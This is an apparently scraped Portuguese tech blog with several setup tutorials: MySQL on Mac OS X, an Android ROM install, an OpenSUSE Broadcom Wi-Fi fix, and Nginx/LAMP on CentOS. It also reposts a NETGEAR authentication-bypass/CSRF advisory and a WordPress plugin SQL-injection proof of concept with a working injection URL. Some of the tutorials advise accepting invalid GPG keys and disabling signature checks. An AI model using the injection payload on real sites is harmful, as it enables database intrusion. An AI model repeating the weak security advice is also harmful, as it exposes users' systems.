Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1

passo1

 




















Temos de focar em um ponto em comum.

Temos um script na pasta de download que abrimos (do MYSQL).
Veja o seguinte, MYSQL.PREFPANE é um script que serve para adicionar o script (ícone) de inicialização do MYSQL dentro das preferências do sistema, por isso DEVEMOS executar ele sim, autorizando-o com a senha do usuário. (sem isso teremos de inicializar na mão com o comando mysqld (VIXE, mac é praticidade RAPÁ!)






Feito isto iremos confirmar se o mysql está rodando com o seguinte comando (dentro do terminal):

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Substitua little_oak por SEU_USUÁRIO.

Isto fará com que você esteja dentro do mysql (Via terminal).

Veja como abrir o terminal:

Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x

como abrir terminais no mac os x

como abrir terminais no mac os x

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

 

Quando citamos a parte do mysql, praticamente contorna a viagem de redefinir a senha de root. Se dermos ouvidos ao Mágico de OZ e inventarmos redefinir senhas vamos brincar com isso ó:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysqld –skip-grant-tables –user=root

grant all…

flush privileges e talz, NÃO PRECISA DISSO, o mac entende que você é um cara que é punk no sistema, que só dá sudo quando sabe o que tá fazendo.

Para conferir como alterar a senha de root do mysql basta clicar no nosso artigo de como redefinir a senha de root no mysql dentro do mac os x lion sem complicações.

PONTO EXTRA:

Como a galera está falando muito de MCRYPT no Mac Os X Lion, o path padrão dele é /usr/share/file/magic/mcrypt
, se quiser descomente a linha do mcrypt no php.ini e mande ficha.

 

Uma coisa massa, se você quer ver a documentação do apache meta bala em http://localhost/manual/, veja a imagem abaixo:

 

manual do apache

manual do apache

 

Se você curtiu esse post dê share 😛

NETGEAR Wireless Cable Modem Gateway Auth Bypass and CSRF

Standard


Sense of Security - Security Advisory - SOS-11-011

Release Date. 20-Sep-2011
Last Update. -
Vendor Notification Date. 22-Mar-2011
Product. NETGEAR Wireless Cable Modem Gateway
CG814WG
Affected versions. Hardware 1.03,
Software V3.9.26 R14 verified,
possibly others
Severity Rating. High
Impact. Authentication bypass,
Cross Site Request Forgery
Attack Vector. Remote without authentication
Solution Status. Upgrade to R15 (by contacting NETGEAR)
CVE reference. Not yet assigned

Details.
The NETGEAR Wireless Cable Modem Gateway CG814WG is supplied by ISP's
as customer premises equipment within Australia and abroad. It is a
centrally managed ISP solution whereby each ISP's devices run a
customised firmware and configuration changes and updates can be pushed
out as required.

Basic authentication is used as the primary and only authentication
mechanism for the administrator interface on the device. The basic
authentication can be bypassed by sending a valid POST request to the
device without sending any authentication header. The response from the
device sends the user to another page that requests basic
authentication, however at this point the request has already been
processed.

An example of attacks using the basic authentication bypass may include
changing the admin password or enabling the remote admin interface
(Internet facing).

Additionally, due to the lack of CSRF protection in the web application,
the bypass attack can be coupled with CSRF to have a victim enable the
remote admin interface to the Internet, where an attacker can then use
the bypass attack again across the remote admin interface to reset the
admin password and access the device. This attack is possible when
targeting a victim that is behind the NETGEAR device on the same segment
as the web administrator interface whom has browsed to a malicious site
containing the CSRF attack.

NETGEAR was notified of this vulnerability on 22 March 2011, but we
never received a response or acknowledgement of the issue or fix. Sense
of Security notified local ISP's and it was escalated by a local ISP
who worked with NETGEAR to develop and test an update. Sense of Security
was never provided an opportunity to validate the fixes in the latest
firmware version. Given the severity of the issue it would be prudent
for NETGEAR to notify and supply an update to all of its customers.

Proof of Concept.
By embedding the below HTML in a website and having a
victim browse to the website the remote management interface to the
Internet would be enabled. An attacker could then use one of the
hardcoded passwords for the device to access it, or use a basic
authentication bypass to change the admin password. Alternatively, the
attacker could conduct a CSRF attack that implements two POST requests
to have the remote admin interface enabled, and the admin password
changed.

The example here is a basic proof of concept, more complex examples
which include JavaScript redirects to mask the basic authentication
pop-up would be more stealthy.








Solution.
Ask your ISP to obtain the latest firmware from NETGEAR and deploy it
to your device.

Discovered by.
Sense of Security Labs.

About us.
Sense of Security is a leading provider of information
security and risk management solutions. Our team has expert
skills in assessment and assurance, strategy and architecture,
and deployment through to ongoing management. We are
Australia's premier application penetration testing firm and
trusted IT security advisor to many of the country's largest
organisations.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-011.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php

Fonte: http://www.exploit-db.com/exploits/17874/

WordPress Crawl Rate Tracker plugin

Standard


# Exploit Title: WordPress Crawl Rate Tracker plugin < = 2.0.2 SQL Injection Vulnerability # Date: 2011-08-30 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/crawlrate-tracker.2.02.zip # Version: 2.0.2 (tested) # Note: magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-content/plugins/crawlrate-tracker/sbtracking-chart-data.php?chart_data=1&page_url=-1' AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))--%20 --------------- Vulnerable code --------------- class b3_chartData extends b3_sbTrackingConfig { public function tracking_bot_report_chart_data() { ... if($_GET['page_url'] != '') { $bots = $this->wpdb->get_results("SELECT DATE(FROM_UNIXTIME(`visit_time`)) `visit_date`,`robot_name`,COUNT(*) `total` FROM $this->sbtracking_table WHERE `visit_time` >= '$start' AND `visit_time` < = '$end' AND `page_url` = '" . $_GET['page_url'] . "' GROUP BY `visit_date`,`robot_name`"); ... if ($_GET['chart_data']==1) { ... $chartData = new b3_chartData(); echo $chartData->tracking_bot_report_chart_data();

Fonte: http://www.exploit-db.com/exploits/17755/

Como instalar android 2.3 milestone 2 (passo a passo)

Standard

Tutorial Gingerbread 2.3.4 no Milestone 2 “MS2GingerBeta5 RC1” Atualizado 24/08/11

 

PARA acompanhar o artigo completo e mais atualizado sobre atualização do android milestone 2 rodando gingerbread 2.3.7 clique em ->

http://www.appunix.com.br/howto/linux/como-instalar-android-2-3-7-no-milestone-2-sem-perder-dados-e-de-forma-rapida/

Nessa versão alguns bugs foram resolvidos o principal foi o teclado físico que agora podemos utilizar as letras e números normalmente, a ROM em si esta mais rápida e estável só alguns bugs ainda continuam o principal é o problema de não podemos adicionar novas contas além do Google e do Motoblur, fora isso estou gostando muito dessa rom, vamos ao tutorial:

Temos que rootear o aparelho primeiro com o Gingerbreak  (se você já tem root em seu telefone pule esse passo) para fazer ele funcionar vá em “configurações”, “aplicativos”, “desenvolvimento” e ative a “depuração de usb” agora instale o Gingerbreak e aperte em root device após isso o celular ira reiniciar rooteado.

Agora temos que baixar os seguintes arquivos MS2GingerBeta5 RC1,sensorsMS2patchMilestone2SenorandKeyboardCWM2-bootstrap,Milestone2patchforMS2Ginger.zip e ms2patchcwm2.zip.

Agora devemos instalar no aparelho os seguintes aplicativos Clockworkmod e Droid 2 Recovery Bootstrap.

Com os arquivos baixados devemos descompactar somente o arquivo MS2GingerBeta5 RC1, passe para a pasta clockworkmod/backup (se não tiver crie as pastas) do seu cartão de memoria somente a pasta MS2GingerBeta5 RC1 que se encontra na pasta Nanodroid do arquivo MS2GingerBeta5 RC1.

Devemos também descompactar a pasta Milestone2-fixsbf esse arquivo vai ser usado mais para frente.
Agora devemos colocar na pasta clockworkmod/updates os seguintes arquivos sensorsMS2patch, Milestone2SenorandKeyboardCWM2-bootstrap, Milestone2patchforMS2Ginger.zip e ms2patchcwm2.zip, lembrando de não descompactar esses arquivos.
Agora entre no aplicativo Droid2RecoveryBootstrap e aperte Bootstrap recovery depois em permitir e por ultimo Reboot Recovery.
O celular reiniciará, agora com os botões de volumes podemos ir para cima ou para baixo nesse menu e o botão da câmera serve para dar ok, agora vamos selecionar “Backup and Restore”, depois “Restore” e selecione “MS2GingerBeta5 RC1” depois de acabar de restaurar devemos ir em “install zip from sdcard” e depois selecionar “choose zip from sdcard” e navegar até /sdcard/clockworkmod/updates/ms2patchcwm2.zip e confirma a instalação.Agora faça o mesmo caminho e escolha os arquivos Milestone2SenorandKeyboardCWM2

-bootstrap, Milestone2patchforMS2Ginger.zip e sensorsMS2patch depois aperte em “reboot”. Atenção é muito importante não esquecer de nenhum dos arquivos.Agora devemos instalar o Rsd Lite em nosso computador para colocar o fixed_sbf_newleak.SBF em seu celular.

Após selecionar arquivo por arquivo e dar “reboot” pode aparecer uma tela preta se aparecer tire a bateria e coloque novamente, ligue novamente o celular segurando o botão “Power”(o botão de ligar) e a “seta para cima” do teclado depois de entrar na tela de bootload conecte o celular no PC, agora no PC entre no Rsd Lite esperar o Windows encontrados os drives do celular e aperte em “…”  escolha o arquivo descompactado da pasta Milestone2-fixsbf ( o fixed_sbf_newleak.SBF) após isso basta apertar em “start” e esperar aparecer “finish”.

O celular irá reiniciar normalmente e funcionando, lembrando que pode demorar até 10 minutos para reiniciar o telefone.

Aproveite que esta versão esta muito funcional e a duração da bateria esta bem  melhor comparada com a “MS2GingerBeta5”.

Atualização para quem o sensor de movimento não esta funcionando temos que fazer alguns passos a mais, primeiro temos que baixar o Bootmenu v0.8.6-v2.zip e colocar na pasta clockworkmod/updates, entre no aplicativo Droid2RecoveryBootstrap e aperte Bootstrap recovery depois em permitir e por ultimo Reboot Recovery.

Na tela de boot devemos ir em “install zip from sdcard” e depois selecionar “choose zip from sdcard” e navegar até /sdcard/clockworkmod/updates/Bootmenu v0.8.6-v2.zip e confirma a instalação e aperte em reboot.

O celular irá reiniciar em uma nova tela de boot nessa tela a tecla de dar ok é o “power” selecione “boot” e depois “set default: [boot Menu]” e escolha “normal” agora aperte em “Go back” 2 vezes e depois “Recovery” e “custom recovery”.

Agora na nova tela de boot o “ok” é o botão da câmera, no menu aperte em “install zip from sdcard” e depois selecionar “choose zip from sdcard” e navegar até /sdcard/clockworkmod/updates/sensorsMS2patch e confirme a instalação após isso aperte em “reboot system now” o celular reiniciará sozinho, pode demorar um pouco mais basta esperar e curti seu celular com o sensor de movimento funcionando.

Créditos ao amigo Marcos Gonçalves

http://ajudandroid.blogspot.com/2011/08/tutorial-gingerbread-234-no-milestone-2.html?showComment=1314471600595#c3813666722992208249


Luis Fernando

Grupo Android Brasil
http://groups.google.com/group/androidbrasil?hl=pt-BR

 

Broadcom Corporation BCM43225 802.11b/g/n no OpenSuse 11.4 (Acer 7745)

Standard

Antes de mais nada quero agradecer a Deus por estar usando este notebook, pois, sinceramente acho punk demais programar em monitores de alta resolução (1600×900).
Outro ponto importante para este artigo é que estou encantado com o nível de estabilidade do OpenSuse 11.4 neste notebook, que desde já deixo claro no mini overview que:

1 – Placa de rede está operando com eficiência (sim, pacotes sendo enviados usando GB),
2 – Som do Notebook alto pra caramba (e com qualidade),
3 – Brilho do monitor MUITO bem trabalhado (lembram do esquema de brilhos no ubuntu e mint, que o pau comeu pro nosso lado? http://www.appunix.com.br/howto/linux/resolvendo-problema-de-brilho-ubuntu-10-04-10-10-11-04-e-linux-mint-9-e-10-julia/),
4 – Reconhecimento de memória ram foi MUITO interessante (vide:

appunix-labs:~ # uname -a

Linux appunix-labs.site 2.6.37.6-0.5-desktop #1 SMP PREEMPT 2011-04-25 21:48:33 +0200 i686 i686 i386 GNU/Linux

appunix-labs:~ # free -m
total used free shared buffers cached
Mem: 3639 1118 2521 0 45 726
-/+ buffers/cache: 346 3293
Swap: 2058 0 2058

appunix-labs:~ #
)

5 – Repositórios para quem usa Velox estão muito rápidos (1 mb de link compartilhado aqui no labs, avephoenix… 🙁 ).

No mais o sistema em si é um tesão, Gnome 2.x, LibreOffice e etc.

Segue um lspci do Hardware testado:

00:00.0 Host bridge: Intel Corporation Core Processor DRAM Controller (rev 12)
00:02.0 VGA compatible controller: Intel Corporation Core Processor Integrated Graphics Controller (rev 12)
00:16.0 Communication controller: Intel Corporation 5 Series/3400 Series Chipset HECI Controller (rev 06)
00:1a.0 USB Controller: Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller (rev 06)
00:1b.0 Audio device: Intel Corporation 5 Series/3400 Series Chipset High Definition Audio (rev 06)
00:1c.0 PCI bridge: Intel Corporation 5 Series/3400 Series Chipset PCI Express Root Port 1 (rev 06)
00:1c.5 PCI bridge: Intel Corporation 5 Series/3400 Series Chipset PCI Express Root Port 6 (rev 06)
00:1d.0 USB Controller: Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller (rev 06)
00:1e.0 PCI bridge: Intel Corporation 82801 Mobile PCI Bridge (rev a6)
00:1f.0 ISA bridge: Intel Corporation Mobile 5 Series Chipset LPC Interface Controller (rev 06)
00:1f.2 SATA controller: Intel Corporation 5 Series/3400 Series Chipset 4 port SATA AHCI Controller (rev 06)
00:1f.3 SMBus: Intel Corporation 5 Series/3400 Series Chipset SMBus Controller (rev 06)
00:1f.6 Signal processing controller: Intel Corporation 5 Series/3400 Series Chipset Thermal Subsystem (rev 06)
02:00.0 Ethernet controller: Atheros Communications AR8151 v1.0 Gigabit Ethernet (rev c0)
09:00.0 Network controller: Broadcom Corporation BCM43225 802.11b/g/n (rev 01)
ff:00.0 Host bridge: Intel Corporation Core Processor QuickPath Architecture Generic Non-core Registers (rev 02)
ff:00.1 Host bridge: Intel Corporation Core Processor QuickPath Architecture System Address Decoder (rev 02)
ff:02.0 Host bridge: Intel Corporation Core Processor QPI Link 0 (rev 02)
ff:02.1 Host bridge: Intel Corporation Core Processor QPI Physical 0 (rev 02)
ff:02.2 Host bridge: Intel Corporation Core Processor Reserved (rev 02)
ff:02.3 Host bridge: Intel Corporation Core Processor Reserved (rev 02)

Pronto, vamos meter o pau e resolver logo essa parada com a velocidade do dragão?

Em primeiros passos DEVEMOS habilitar alguns repositórios que por default (mantidos pela comunidade) não estão ativos, porém, para que tudo funfe ok precisam estar instalados. Primeiro devemos abrir o YAST2 (Meu computador -> SISTEMA -> YAST), devemos seguir exatamente conforme a tela abaixo, para clicar nos repositórios afim de localizarmos o trecho para add repositórios:

Yast2

Yast2

Pronto, feito isto devemos selecionar os repositórios principais, mas para isso iremos avançar menu por menu até chegar na hora fatal :P, veja as imagens abaixo:

clicar em adicionar OPENSUSE

clicar em adicionar OPENSUSE

Veja que, conforme o print, na tela, devemos clicar em ADICIONAR afim de que adicionemos repositórios pelo gestor, veja a imagem abaixo que mostra a tela seguinte:

Escolher Repositórios da COMUNIDADE

Escolher Repositórios da COMUNIDADE

Assim que clicarmos em adicionar nos será dado um leque de opções, devemos escolher adicionar um repositório da comunidade, que como podem ver marcamos Mozilla Beta, Packman (sem este não conseguiremos colocar a Wifi para  moer), Mozilla e o Contrib, veja os prints seguintes:

Processando Escolha da comunidade

Processando Escolha da comunidade

Listas de Repositórios disponíveis

Listas de Repositórios disponíveis

Terminando Marcações de Repositórios

Terminando Marcações de Repositórios

 

Depois disto, quando clicarmos em OK o sistema vai processar nossas escolhas, porém, ele reclamará de chaves não válidas, devemos ignorar tais mensagens aceitando tais chaves gpg, veja a imagem abaixo:

Importar Chaves Problemáticas

Importar Chaves Problemáticas

 

Estamos perto da glória e neste instante não vamos perder o fôlego, antes devemos receber uma notificação do que foi mudado, veja nosso print:

Status de Mudanças Realizadas

Status de Mudanças Realizadas

 

Agora é hora de console 😛

Devemos impor as mãos e meter o pau no negócio, vamo que vamo?

Devemos rodar todos os comandos abaixo como ROOT afim de nem perdermos tempo com autorizações, para isto digite su – e coloque a senha do sistema para ganhar direitos globais como root e use os seguintes comandos abaixo:

appunix-labs:~ # lsmod | grep “b43|ssb|wl”
appunix-labs:~ # rmmod b43
appunix-labs:~ # rmmod ssb
appunix-labs:~ # zypper remove b43-fwcutter
appunix-labs:~ # echo “blacklist ssb” >> /etc/modprobe.d/50-blacklist.conf
appunix-labs:~ # echo “blacklist bcm43xx” >> /etc/modprobe.d/50-blacklist.conf
appunix-labs:~ # echo “blacklist b43” >> /etc/modprobe.d/50-blacklist.conf
appunix-labs:~ # echo “blacklist ndiswrapper” >> /etc/modprobe.d/50-blacklist.conf
appunix-labs:~ # zypper in broadcom-wl broadcom-wl-kmp-desktop
appunix-labs:~ # modprobe wl

 

Por fim dê um reboot:

appunix-labs:~ # reboot

 

Assim que seu S.O. voltar você deverá apertar FN + F3 para habilitar sua WIFI, dando tudo ok o resultado deve ser parecido com a foto abaixo:

wifi no opensuse

wifi no opensuse

 

Rolou ok aí?

Se ficar uma mini gamb de não aceitar sua WIFI pass, faça o seguinte, reinicie o pc, DESCONECTE qualquer cabo de rede e tente conectar-se via WIFI.

Rolou ok agora?

Tudo certinho?

Curtiu?

Use uma tática chamada SHARE, compartilhe.
Quer agradecer?
Comenta aí!
AppUnix agradece sua visita -> ENJOY!

Como instalar Nginx PHP5 e Mysql no CentOS 5.6

Standard

A pronúncia correta do Nginx é “engin-ex”, mas vamos nos ater aos comandos que é o melhor que podemos fazer, né? NÃO sem antes falar que essa besteirinha segura “somente” milhões de acessos por dia ao site WordPress, por isso CONFIE e USE nginx sem QUALQUER medo! (existe plugin pago e grátis para o Cpanel, mas recomendamos que use o plugin free sob CENTOS senão seu cpanel vai sobrescrever os confs de vhosts do nginx).

Primeiro estou imaginando que seu ip será igual o meu -> 10.0.0.1.

Vamos instalar o Mysql?

root@appunixlabs:# yum clean all && yum update -y && yum install mysql mysql-server -y

O -y acima manda o yum instalar as coisas sem pedir confirmações.

Assim que terminarmos a instalação deveremos dar autoridade ao mysql para que possa iniciar assim que o server for inicializado (estilo pós reboot 😛 ):

root@appunixlabs:# chkconfig –levels 235 mysqld on

E vamos inicializar o bichão:

root@appunixlabs:# /etc/init.d/mysqld start

Se quisermos verificar se a porta do Mysql está aberta (funcionando) podemos usar o netstat -tap | grep mysql.

Agora precisamos editar o conf do mysql para deixar a conectividade dele filé:

root@appunixlabs:# vim /etc/my.cnf

Devemos achar a linha skip-networking e colocar um sinal de libra (#) para comentar essa instrução:

#skip-networking

Podemos localizar este termo usando / e digitando skip-networking no modo comando do vim (basta apertar o ESC e depois apertar /).

Vamos validar o trem?

root@appunixlabs:# /etc/init.d/mysqld restart

Devemos agora aplicar as correções de segurança do Mysql para desativar test user, definir senha de root… Bora simbora?

root@appunixlabs:# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it, we’ll need the current
password for the root user. If you’ve just installed MySQL, and
you haven’t set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] < – APERTE ENTER New password: <– DIGITE A SENHA DE ROOT DO MYSQL Re-enter new password: <– REPITA A SENHA DE ROOT DO MYSQL Password updated successfully! Reloading privilege tables.. … Success! By default, a MySQL installation has an anonymous user, allowing anyone to log into MySQL without having to have a user account created for them. This is intended only for testing, and to make the installation go a bit smoother. You should remove them before moving into a production environment. Remove anonymous users? [Y/n] <– ENTER PARA CONFIRMAR … Success! Normally, root should only be allowed to connect from ’localhost’. This ensures that someone cannot guess at the root password from the network. Disallow root login remotely? [Y/n] <– ENTER PARA CONFIRMAR … Success! By default, MySQL comes with a database named ’test’ that anyone can access. This is also intended only for testing, and should be removed before moving into a production environment. Remove test database and access to it? [Y/n] <– ENTER PARA CONFIRMAR - Dropping test database… … Success! - Removing privileges on test database… … Success! Reloading the privilege tables will ensure that all changes made so far will take effect immediately. Reload privilege tables now? [Y/n] <– ENTER PARA CONFIRMAR … Success! Cleaning up… All done! If you’ve completed all of the above steps, your MySQL installation should now be secure. Thanks for using MySQL!

Hora de instalarmos o Nginx, bora simbora? Pera! Antes de irmos temos de ajustar o repositório primeiro, para isto temos de fazer o seguinte:

root@appunixlabs:# cd /etc/yum.repos.d/

root@appunixlabs:# wget http://centos.karan.org/kbsingh-CentOS-Extras.repo

Pronto, precisamos agora somente editar o conf do repositório extra:

root@appunixlabs:# vim /etc/yum.repos.d/kbsingh-CentOS-Extras.repo

Precisamos deixar nosso conf parecido com este:

# pkgs in the -Testing repo are not gpg signed
[kbs-CentOS-Testing]
name=CentOS.Karan.Org-EL$releasever - Testing
gpgcheck=0
gpgkey=http://centos.karan.org/RPM-GPG-KEY-karan.org.txt
enabled=1
baseurl=http://centos.karan.org/el$releasever/extras/testing/$basearch/RPMS/

No gpgcheck temos de deixar 1.

Salvando e saindo do arquivo iremos deixar a casa arrumada:

root@appunixlabs:# yum update && yum install nginx -y

Agora teremos de colocar o nginx com direito de iniciar-se no momento do boot do server e depois disto validar este parâmetro:

root@appunixlabs:# chkconfig –levels 235 nginx on
root@appunixlabs:# /etc/init.d/nginx start

Para conferirmos que ficou filé basta abrir o navegador e digitar http://10.0.0.1, isto vai mostrar o container moendo :P.

Agora precisamos instalar o php, integrá-lo e ativar o suporte fastcgi. Para isto iremos abusar do yum (pra variar):

root@appunixlabs:# yum install lighttpd-fastcgi php-cli php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-mssql php-snmp php-soap php-tidy -y

Agora precisamos editar o php.ini para dar suporte ao fastcgi:

root@appunixlabs:# vim /etc/php.ini

No padrão cgi.fix_pathinfo = 0 deixe cgi.fix_pathinfo = 1 (use a localização do vim a qual citamos neste post).

Vamos inicar agora o suporte ao FastCgi do PHP na porta 9000:

root@appunixlabs:# /usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -u nginx -g nginx -f /usr/bin/php-cgi -P /var/run/fastcgi-php.pid

Agora devemos colocar essa instrução junto ao rc.local pra o bicho iniciar sozinho no momento do boot:

root@appunixlabs:# vim /etc/rc.local

Coloque isto no arquivo: /usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -u nginx -g nginx -f /usr/bin/php-cgi -P /var/run/fastcgi-php.pid

Precisamos corrigir o keepalive do conf do nginx e mais coisas :(.

[ ... início do arquivo ... ]
worker_processes 5;
[... meio do arquivo ...]
keepalive_timeout 2;
[... fim do arquivo ...]

Precisamos criar o nosso default host :P, para isto temos de mudar a área do container do server:

server {
listen 80;
server_name _;

#charset koi8-r;

#access_log logs/host.access.log main;

location / {
root /usr/share/nginx/html;
index index.php index.html index.htm;
}

error_page 404 /404.html;
location = /404.html {
root /usr/share/nginx/html;
}

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}

# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ .php$ {
# proxy_pass http://127.0.0.1;
#}

# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ .php$ {
root /usr/share/nginx/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name;
include fastcgi_params;
}

# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
location ~ /.ht {
deny all;
}
}

server_name é a parte que valida nome canônico (www.qualquercoisa.com.br)
location / adicionamos index.php como sendo prioridade na abertura de arquivos (o default da vida).
A pasta de arquivos (o que seria um public_html ou www, ou ainda um httpdocs da vida) é /usr/share/nginx/html. (document root)
O principal deste arquivo é esta parte -> location ~ .php$ {}, devemos descomentar a mesma para que esteja validada.
Se não mudarmos fastcgi_param para fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name; o php não conseguirá interpretar os scripts subjacentes no path (document root).

Bora meter o pau e ver como tudo ficou bombado?

root@appunixlabs:# /etc/init.d/nginx restart

E para ver que a parada está de fato funcionando/bombando/matando a pau devemos usar qualquer coisa do php para interpretação (testes), podemos usar o phpinfo mesmo. Para isto faça o seguinte:

root@appunixlabs:# vim /usr/share/nginx/html/index.php

Dentro dele coloque o seguinte:

< ?php phpinfo(); ?>

Depois disso, para testificarmos que a parada tá rodando devemos acessar por nosso navegador http://10.0.0.1/index.php

Pronto!

Fontes:

nginx: http://nginx.net/
nginx Wiki: http://wiki.codemongers.com/Main
PHP: http://www.php.net/
MySQL: http://www.mysql.com/
CentOS: http://www.centos.org/
How2Forge: http://migre.me/5rRVS

Como instalar php apache mysql phpmyadmin no Centos 6

Standard

Olá pessoal, como vocês sabem somos fanáticos pelo ambiente LAMP e agora iremos colocar para vocês um how to simples porém funcional de como instalar o apache, mysql, php e phpmyadmin na plataforma CentOs 6.

Vamos começar deixando tudo atualizado e corrigido:

[root@appunixlabs ~]# yum clean all && yum update -y

Agora vamos instalar o mysql:

[root@appunixlabs ~]# yum install mysql mysql-server -y

Devemos dar pemrissões para que o mysql (serviço) carregue no momento do boot:

[root@appunixlabs ~]# chkconfig –levels 235 mysqld on

E em seguida iniciar o sistema de banco de dados:

[root@appunixlabs ~]# /etc/init.d/mysqld start

Para setarmos as senhas de mysql devemos usar o seguinte comando:

[root@appunixlabs ~]# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it, we’ll need the current
password for the root user. If you’ve just installed MySQL, and
you haven’t set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] Enter para confirmar que quer mudar a senha de root
New password: Coloque a nova senha de root
Re-enter new password: Confirme a nova senha de root
Password updated successfully!
Reloading privilege tables..
… Success!

By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them. This is intended only for testing, and to make the installation
go a bit smoother. You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] Pressione Enter para invalidar acessos anônimos
… Success!

Normally, root should only be allowed to connect from ‘localhost’. This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] Pressione Enter para Remover o acesso remoto ao banco de dados
… Success!

By default, MySQL comes with a database named ‘test’ that anyone can
access. This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] Pressione Enter para remover a base de dados de testes
– Dropping test database…
… Success!
– Removing privileges on test database…
… Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] Pressione enter para que o flushprivileges opere imediatamente e valide as mudanças
… Success!

Cleaning up…

All done! If you’ve completed all of the above steps, your MySQL
installation should now be secure.

Thanks for using MySQL!

[root@appunixlabs ~]#

Agora vamos instalar o apache com o seguinte comando:

[root@appunixlabs ~]# yum install httpd -y

Agora devemos deixar o apache com a mesma essência de serviços do mysql, operando assim que o boot for realizado:

[root@appunixlabs ~]# chkconfig –levels 235 httpd on

E para iniciarmos o bichão (apache):

[root@appunixlabs ~]# /etc/init.d/httpd start

Se quisermos acessar o server para garantir que o mesmo está operando filé em nosso sistema operacional, caso o server esteja em rede podemos acessa-lo através de seu respectivo ip. Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1
Uma página do apache sob CentOs será exibida mostrando que tudo está filé.

Vamos agora instalar o php

[root@appunixlabs ~]# yum install php

Devemos reiniciar o apache para garantir que a integração do interpretador esteja 100% eficaz:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Aonde fica o danado do path do php em meu sistema operacional Centos???
Calma, fique tranquilo, tudo está situado em /var/www/html, e para provar que sua instalação ficou filé faça o seguinte:
Nessa pasta crie um arquivo chamado index.php, abra-o com o vim ou crie-o com echo e dentro dele coloque uma instrução, veja o passo a passo:

[root@appunixlabs ~]# echo "<?php phpinfo(); ?>" >> index.php

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/index.php

Deverão ser exibidas todas as extensões e variáveis globais predefinidas na instalação nesta página acessada.

Agora precisamos fazer com que o mysql esteja integrado com o php, para isso iremos rodar o seguinte comando:

[root@appunixlabs ~]# yum install php-mysql php-gd php-imap php-ldap php-mbstring php-odbc php-pear php-xml php-xmlrpc -y

E para garantir que tudo está filé e com integração perfeita com nosso container vamos rodar o seguinte:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Precisamos fechar com chave de ouro agora no ponto de instalação fo phpmyadmin.
Para isto devemos fazer o seguinte-> Instalar o repositório RPMForge que é simplesmente punk e em seguida instalar os pacotes vindouros dele. Vamos por a mão na massa?

[root@appunixlabs ~]# rpm –import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt

Se seu sistema for 64 bits rode:

